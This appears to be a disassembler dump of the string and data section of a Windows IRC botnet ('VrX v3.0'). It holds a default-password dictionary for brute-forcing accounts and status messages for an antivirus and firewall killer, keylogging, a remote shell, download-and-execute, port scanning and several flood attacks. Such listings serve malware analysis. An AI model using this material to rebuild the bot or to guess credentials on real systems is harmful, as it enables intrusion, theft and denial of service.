aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD4	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B38	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B58	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B78	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 4
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BCC	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 4
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C4C:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C50	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 4
unk_429C74	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C9C	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CBC	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429CE0	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429D00	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D20	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D38	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
unk_429D64	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DB0	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DDC	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429E00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E24	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429E44	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E68	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 10h
unk_429E90	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 10h
unk_429EB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 10h
unk_429EE0	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429F00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F30	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429F54	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F70	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F94	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FAC	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FEC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A004	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A020	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 10h
dword_42A040	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A058	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_42A084:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A088	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A8	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 10h
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 10h
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 4
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 10h
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 4
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A17C	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 4
unk_42A194	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 4
unk_42A1C4	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E8	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 4
unk_42A204	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 10h
unk_42A220	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A23C	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A250	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A25C	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 4
dword_42A284	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A2A0	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2BC	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C4	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2E0	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2EC	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F4	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2FC	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A338	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42A364	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A3A0	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D4	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A408	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 10h
dword_42A420	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A434	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A444	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A48C	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C8	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 10h
dword_42A500	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A51C	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 10h
unk_42A540	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A57C	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5AC	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B8	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A614	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A64C	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A678	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A6B4	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A6E4	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A71C	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A74C	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A784	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A7B4	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7EC	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A828	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A868	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 4
unk_42A894	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D8	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A914	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A96C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A978	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42AA04	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
